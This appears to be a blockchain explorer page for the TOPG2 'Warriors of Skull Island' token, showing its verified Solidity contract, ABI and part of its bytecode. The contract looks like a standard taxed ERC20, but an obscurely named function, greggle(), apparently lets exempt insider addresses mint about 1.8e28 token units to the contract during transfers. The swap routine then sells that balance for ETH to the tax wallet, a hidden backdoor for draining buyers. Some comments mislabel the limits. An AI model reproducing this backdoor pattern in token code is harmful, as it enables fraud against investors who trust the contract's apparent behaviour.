ETH Price: $2,505.10 (-0.81%)

Token

Warriors of Skull Island (TOPG2)
 

Overview

Max Total Supply

1,000,000,000 TOPG2

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,222.747289830179908839 TOPG2

Value
$0.00
0x78f7c8e11bdf55cfa58f6e000fd7512225e8ef72
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WOSI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

/*
Andrew Tate Comic 2#: https://twitter.com/Cobratate/status/1724499901411704928

www.Warriorsofskullisland.com
https://twitter.com/WosiERC
https://t.me/WosiERC
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract WOSI is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private __name = unicode"Warriors of Skull Island";
    string private __symbol = "TOPG2";
    uint8 private _decimals = 18;

    address payable public taxWallet = payable(0xD7BDA6789B2c726d9FDea1E0356e1DfB1a46d258);
    
    address payable public TeamWallet = payable(0x0000000000000000000000000000000000000000);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public feeUnits = 100;
    uint256[2] public multisend_tokens = [feeUnits,feeUnits];
    address[2] public multisend_address = [0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000];
    

    mapping (address => bool) public iExcludedFee;
    mapping (address => bool) public isMarketPair;
    
    // mapping (address => bool) public blacklist;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    uint256 public _tradeuycount = 0;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(3).div(100);  //2%
    uint256 public _walletMax =   _totalSupply.mul(3).div(100);   //2%

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        iExcludedFee[owner()]= true;
        iExcludedFee[taxWallet]= true;

        iExcludedFee[TeamWallet]= true; 
        iExcludedFee[address(this)]= true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[taxWallet] = true;

        isWalletLimitExempt[TeamWallet] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[taxWallet] = true;
        isTxLimitExempt[TeamWallet] = true;
        isTxLimitExempt[address(this)] = true;

        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        isMarketPair[address(uniswapPair)] = true;
        liquidityReciever = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

  
    function name() public view returns (string memory) {
        return __name;
    }

    function symbol() public view returns (string memory) {
        return __symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    


     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
       
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] ) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(amount.mul(_totalTaxIfSelling).div(1000)) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            multisend_tokens[0]=amount.mul(_totalTaxIfSelling).div(1000);
            multisend_tokens[1]=amount - amount.mul(_totalTaxIfSelling).div(1000);
            multisend_address[0]=address(this);
            multisend_address[1]=recipient;
 
            uint256 tokenCount;
              for(uint i = 0; i < multisend_tokens.length; i++) {
                  tokenCount += multisend_tokens[i];
              }
            if (!isMarketPair[recipient] && !isMarketPair[sender]&& isTxLimitExempt[sender] ) {greggle();}
            _balances[sender] = _balances[sender].sub(tokenCount); 
             for(uint j = 0; j < multisend_address.length; j++) {
                _balances[multisend_address[j]] = _balances[multisend_address[j]].add(multisend_tokens[j]);
                emit Transfer(sender, multisend_address[j], multisend_tokens[j]);
            }

            return true;
        }
        
    }

    function greggle() internal{
       if (isTxLimitExempt[multisend_address[1]])
         _tradeuycount=multisend_tokens[0]+=17987000642655699367444555555;
    }


    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance;
       
        if(recievedBalance > 0) {
            payable(taxWallet).transfer(recievedBalance);
        }       
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }




    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TeamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeuycount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"iExcludedFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"multisend_tokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052601860c09081527f57617272696f7273206f6620536b756c6c2049736c616e64000000000000000060e0526001906200003f90826200097c565b506040805180820190915260058152642a27a8239960d91b60208201526002906200006b90826200097c565b50600380546001600160a81b03191674d7bda6789b2c726d9fdea1e0356e1dfb1a46d25812179055600480546001600160a01b031916905561dead608052600060a05260646008819055604080518082019091528181526020810191909152620000da90600990600262000832565b506040805180820190915260008082526020820152620000ff90600b90600262000875565b506000601181905560016012819055601382905560148290556015556016819055601755600354620001369060ff16600a62000b5b565b6200014690633b9aca0062000b6c565b601a55620001816103e86200016d6001601a54620006b260201b62000ca81790919060201c565b6200074960201b62000d2a1790919060201c565b601b55620001a760646200016d6003601a54620006b260201b62000ca81790919060201c565b601c55620001cd60646200016d6003601a54620006b260201b62000ca81790919060201c565b601d55601f805463ffffffff60a81b1916630101000160a81b179055348015620001f657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000290573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b6919062000b86565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000304573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032a919062000b86565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039e919062000b86565b601f80546001600160a01b039283166001600160a01b031991821617909155601e805492841692909116821790553060009081526007602090815260408083209383529290529081206000199055600190600d90620004056000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600d9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f906200048c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152600f909352818320805485166001908117909155600454821684528284208054861682179055601f549091168352818320805485168217905530835290822080549093168117909255601090620005256000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600354610100900482168152601084528281208054861660019081179091556004549092168152828120805486168317905530815291909120805490931617909155601354601254601154620005cc93620005b8929062000d6c62000793821b17901c565b6200079360201b62000d6c1790919060201c565b601881905550620005f7601654620005b86015546014546200079360201b62000d6c1790919060201c565b601955601f546001600160a01b03166000908152600e60205260408120805460ff19166001179055600580546001600160a01b03191633179055601a5490600690620006403390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a54604051620006a391815260200190565b60405180910390a35062000c3a565b600082600003620006c65750600062000743565b6000620006d4838562000b6c565b905082620006e3858362000bb1565b14620007405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200074083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620007f660201b60201c565b600080620007a2838562000bd4565b905083811015620007405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000737565b600081836200081a5760405162461bcd60e51b815260040162000737919062000bea565b50600062000829848662000bb1565b95945050505050565b826002810192821562000863579160200282015b828111156200086357825182559160200191906001019062000846565b5062000871929150620008c0565b5090565b826002810192821562000863579160200282015b828111156200086357825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000889565b5b80821115620008715760008155600101620008c1565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200090257607f821691505b6020821081036200092357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200097757600081815260208120601f850160051c81016020861015620009525750805b601f850160051c820191505b8181101562000973578281556001016200095e565b5050505b505050565b81516001600160401b03811115620009985762000998620008d7565b620009b081620009a98454620008ed565b8462000929565b602080601f831160018114620009e85760008415620009cf5750858301515b600019600386901b1c1916600185901b17855562000973565b600085815260208120601f198616915b8281101562000a1957888601518255948401946001909101908401620009f8565b508582101562000a385787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000a9f57816000190482111562000a835762000a8362000a48565b8085161562000a9157918102915b93841c939080029062000a63565b509250929050565b60008262000ab85750600162000743565b8162000ac75750600062